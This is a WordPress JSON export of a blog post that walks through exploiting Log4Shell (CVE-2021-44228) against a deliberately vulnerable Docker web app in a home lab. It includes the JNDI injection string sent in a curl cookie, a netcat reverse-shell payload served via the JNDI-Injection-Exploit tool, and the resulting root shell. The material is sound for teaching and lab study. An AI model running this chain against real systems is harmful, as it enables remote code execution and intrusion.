{"id":334,"date":"2022-01-07T02:36:40","date_gmt":"2022-01-07T02:36:40","guid":{"rendered":"https:\/\/johnlradford.io\/?p=334"},"modified":"2023-02-23T08:45:23","modified_gmt":"2023-02-23T08:45:23","slug":"log4shell-in-action","status":"publish","type":"post","link":"https:\/\/johnlradford.io\/blog\/2022\/01\/07\/log4shell-in-action\/","title":{"rendered":"Log4Shell In Action"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">This post is a practical demonstration of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Log4Shell\">Log4Shell<\/a> Java Log4j logging<br>vulnerability (aka <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2021-44228\">CVE-2021-44228<\/a>).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The steps below are taken directly from this <a href=\"https:\/\/sysdig.com\/blog\/exploit-detect-mitigate-log4j-cve\/\">blog post<\/a> on <a href=\"https:\/\/sysdig.com\">sysdig.com<\/a>. This demonstration provides a good starting point for understanding the vulnerability.<br><br><a href=\"https:\/\/youtu.be\/oTbwXNA73uI\" data-type=\"URL\" data-id=\"https:\/\/youtu.be\/oTbwXNA73uI\">Video of exploit in action.<\/a><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Log4Shell In Action\" width=\"1040\" height=\"585\" src=\"https:\/\/www.youtube.com\/embed\/oTbwXNA73uI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Overview<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Log4Shell vulnerability exploded in popularity as the biggest zero day of recent memory in late 2021. The mechanics of the vulnerability are as follows. There&#8217;s a Java logging utility called <a href=\"https:\/\/en.wikipedia.org\/wiki\/Log4j\">Log4j<\/a> that is used in many Java applications to write to log files. For the most part Log4j is a benign logging utility. However, the problem with Log4j is that is has a special dangerous feature.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Log4j gives the Java developer access to the <a href=\"https:\/\/docs.oracle.com\/javase\/jndi\/tutorial\/getStarted\/overview\/index.html\">JNDI<\/a>. The JNDI is a Java API which &#8220;provides access to a variety of naming and directory services.&#8221; In the context of Log4j, the JNDI can be used to specify the location of a remote <a href=\"https:\/\/en.wikipedia.org\/wiki\/Lightweight_Directory_Access_Protocol\">LDAP<\/a> server where additional logging parameters can be pulled from.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The problem with allowing this sort of behavior is that sometimes user input can be snuck into a running Java application and interpreted by Log4j leading to <a href=\"https:\/\/en.wikipedia.org\/wiki\/RCE\">RCE<\/a>. In certain vulnerable Java apps, JNDI access is accidentally made directly available to the user through Log4j. With this access nefarious parties can inject a string like the one below to specify the location of their own LDAP server hosting an RCE payload.<br><br>Typical Log4j Injection String:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>${jndi:ldap:\/\/EXPLOIT_SERVER\/RCE_PAYLOAD}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">In Practice<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Vulnerable JDK Version<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">First, we have to verify we&#8217;re running a vulnerable version of Java. I&#8217;m running Java 8, OpenJDK 1.8.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to the original <a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/\">LunaSec Blog Post<\/a>;<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP, except in very specific cases. However, there are other attack vectors targeting this vulnerability which can result in RCE.<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$~&gt; java -version\nopenjdk version \"1.8.0_312\"\nOpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07)\nOpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">You can install this on Ubuntu with,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt install openjdk-8-jdk<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then you can change your Java version with,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo update-alternatives --config java<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Vulnerable Application<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once we&#8217;re setup with the right JDK we&#8217;re ready to download and spin up our vulnerable application.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We&#8217;ll be using the Docker image linked below which is a vulnerable SpringBoot Java Webapp. You&#8217;ll need <a href=\"https:\/\/www.docker.com\/\">Docker<\/a> to build the vulnerable app. Refer to docs for <a href=\"https:\/\/docs.docker.com\/get-docker\/\">instructions for installing docker<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/darryk10\/log4shell-vulnerable-app\">Vulnerable App<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First clone the repo,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$tmp&gt; git clone https:\/\/github.com\/darryk10\/log4shell-vulnerable-app<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then cd into the installation dir and build the docker image,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$tmp&gt; cd log4shell-vulnerable-app\nBlue@Home:$log4shell-vulnerable-app&gt; sudo docker build . -t vulnerable-app\nSending build context to Docker daemon  614.9kB\nStep 1\/9 : FROM gradle:7.3.1-jdk17 AS builder\n ---&gt; 292487763bf2\nStep 2\/9 : COPY --chown=gradle:gradle . \/home\/gradle\/src\n ---&gt; 7166ce8c14f8\nStep 3\/9 : WORKDIR \/home\/gradle\/src\n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then open up port 8080 on your computer&#8217;s firewall so traffic can get to the webapp. I use <a href=\"https:\/\/wiki.ubuntu.com\/UncomplicatedFirewall\">ufw<\/a> so for me the command is,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo ufw allow 8080\/tcp comment VULN_WEBAPP<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, start the docker container.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$log4shell-vulnerable-app&gt; sudo docker run -p 8080:8080 --name vulnerable-app vulnerable-app\n\n  .   ____          _            __ _ _\n \/\\\\ \/ ___'_ __ _ _(_)_ __  __ _ \\ \\ \\ \\\n( ( )\\___ | '_ | '_| | '_ \\\/ _` | \\ \\ \\ \\\n \\\\\/  ___)| |_)| | | | | || (_| |  ) ) ) )\n  '  |____| .__|_| |_|_| |_\\__, | \/ \/ \/ \/\n =========|_|==============|___\/=\/_\/_\/_\/\n :: Spring Boot ::                (v2.6.1)\n\n2022-01-07 00:47:26.725  INFO 1 --- &#91;           main] f.c.l.v.VulnerableAppApplication         : Starting VulnerableAppApplication using Java 1.8.0_181 on 3128e88705e3 with PID 1 (\/app\/spring-boot-application.jar started by root in \/)\n...<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Malicious LDAP &amp; HTTP Server<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In order to pull this attack off against our vulnerable web app we&#8217;ll need an LDAP server and an HTTP server. We could use the bare bones <a href=\"https:\/\/github.com\/mbechler\/marshalsec\">marshalsec<\/a> utility along with a simple python HTTP server to host the RCE payload. However, I personally have not had much success with that.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Instead, someone else has already built up <a href=\"https:\/\/github.com\/welk1n\/JNDI-Injection-Exploit\/\">this JNDI-Injection-Exploit tool<\/a> around marshalsec which makes the whole process much easier.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With the JNDI-Injection-Exploit tool we can more easily craft and host our malicious payload.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To download it first clone the git repo.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>git clone https:\/\/github.com\/welk1n\/JNDI-Injection-Exploit\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then cd into the install dir and use <a href=\"https:\/\/maven.apache.org\/what-is-maven.html\">Maven<\/a> to build the project. You can install maven on Ubuntu with <code>sudo apt install maven<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$JNDI-Injection-Exploit&gt; mvn clean package -DskipTests\n&#91;INFO] Scanning for projects...\n...\n&#91;INFO] \n&#91;INFO] -------------------&lt; welk1n:JNDI-Injection-Exploit &gt;--------------------\n&#91;INFO] Building JNDI-Injection-Exploit 1.0-SNAPSHOT\n&#91;INFO] --------------------------------&#91; jar ]---------------------------------\n&#91;INFO] \n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Once the project is built we need to open up some ports that the JNDI-Injection-Exploit tool will use.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo ufw allow 1389\/tcp comment HTTPSERVER\nsudo ufw allow 8180\/tcp comment LDAPSERVER<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, we&#8217;re ready to launch the JNDI-Injection-Exploit tool with our<br>inputted reverse shell payload.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$JNDI-Injection-Exploit&gt; java -jar target\/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"nc 192.168.1.203 1234 -e \/bin\/sh\" -A 192.168.1.203\n&#91;ADDRESS] &gt;&gt; 192.168.1.203\n&#91;COMMAND] &gt;&gt; nc 192.168.1.203 1234 -e \/bin\/sh\n----------------------------JNDI Links---------------------------- \nTarget environment(Build in JDK 1.8 whose trustURLCodebase is true):\nrmi:\/\/192.168.1.203:1099\/5ya5yu\nldap:\/\/192.168.1.203:1389\/5ya5yu\nTarget environment(Build in JDK 1.7 whose trustURLCodebase is true):\nrmi:\/\/192.168.1.203:1099\/icolza\nldap:\/\/192.168.1.203:1389\/icolza\nTarget environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):\nrmi:\/\/192.168.1.203:1099\/0nlqd8\n\n----------------------------Server Log----------------------------\n2022-01-06 20:11:04 &#91;JETTYSERVER]&gt;&gt; Listening on 0.0.0.0:8180\n2022-01-06 20:11:04 &#91;RMISERVER]  &gt;&gt; Listening on 0.0.0.0:1099\n2022-01-06 20:11:04 &#91;LDAPSERVER] &gt;&gt; Listening on 0.0.0.0:1389<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Kickoff<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, after setting up the vulnerable webapp and the JNDI-Injection-Exploit tool we&#8217;re almost ready to go.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We&#8217;ll open a new tab and setup a netcat listener to catch our reverse shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$~&gt; nc -lnvp 1234\nListening on 0.0.0.0 1234<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then to trigger the exploit we&#8217;ll use curl to make an HTTP request to our vulnerable webapp containing a cookie that is secretly our Log4Shell JNDI inject string.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$~&gt; curl 127.0.0.1:8080 -b 'blah=${jndi:ldap:\/\/192.168.1.203:1389\/5ya5yu}'\nCookie Exploited<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The above injection code will trigger the Log4j utility in our vulnerable webapp and cause it to make an LDAP request to our JNDI-Injection-Exploit tool. The JNDI-Injection-Exploit tool will then reference the Java RCE class file which is hosted on the HTTP Jettyserver.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>----------------------------Server Log----------------------------\n2022-01-06 20:11:04 &#91;JETTYSERVER]&gt;&gt; Listening on 0.0.0.0:8180\n2022-01-06 20:11:04 &#91;RMISERVER]  &gt;&gt; Listening on 0.0.0.0:1099\n2022-01-06 20:11:04 &#91;LDAPSERVER] &gt;&gt; Listening on 0.0.0.0:1389\n2022-01-06 20:21:23 &#91;LDAPSERVER] &gt;&gt; Send LDAP reference result for 5ya5yu redirecting to http:\/\/192.168.1.203:8180\/ExecTemplateJDK8.class\n2022-01-06 20:21:23 &#91;JETTYSERVER]&gt;&gt; Log a request to http:\/\/192.168.1.203:8180\/ExecTemplateJDK8.class<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Aside:<\/strong> That class file is just a serialized Java object containing our reverse shell RCE payload. We can actually see this class file using curl.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$~&gt; curl http:\/\/192.168.1.203:8180\/ExecTemplateJDK8.class &gt; ExecTemplateJDK8.class\nBlue@Home:$~&gt; cat ExecTemplateJDK8.class \n...\n&lt;clinit&gt;java\/lang\/Exception\n nc 192.168.1.203 1234 -e \/bin\/sh\n                                java\/lang\/Runtime\ngetRuntime()Ljava\/lang\/Runtime;\n\nexec'(Ljava\/lang\/String;)Ljava\/lang\/Process;\n\nprintStackTrace\n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Our webapp then de-serializes the object and triggers the RCE payload, sending a reverse shell to our netcat listener.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sure enough if we check on our listener we&#8217;ll see we caught the shell!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Blue@Home:$~&gt; nc -lnvp 1234\nListening on 0.0.0.0 1234\nConnection received on 172.17.0.2 43617<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">From here we can clearly see we&#8217;ve got root inside of a docker container.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n\ncat \/proc\/1\/cgroup\n12:pids:\/docker\/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124\n11:perf_event:\/docker\/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124\n10:cpu,cpuacct:\/docker\/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124\n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Tada! Log4Shell Achieved!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post is a practical demonstration of the Log4Shell Java Log4j loggingvulnerability (aka CVE-2021-44228). The steps below are taken directly from this blog post on sysdig.com. This demonstration provides a<span class=\"more-button\"><a href=\"https:\/\/johnlradford.io\/blog\/2022\/01\/07\/log4shell-in-action\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\">Log4Shell In Action<\/span><\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-334","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/comments?post=334"}],"version-history":[{"count":8,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/334\/revisions"}],"predecessor-version":[{"id":353,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/334\/revisions\/353"}],"wp:attachment":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/media?parent=334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/categories?post=334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/tags?post=334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}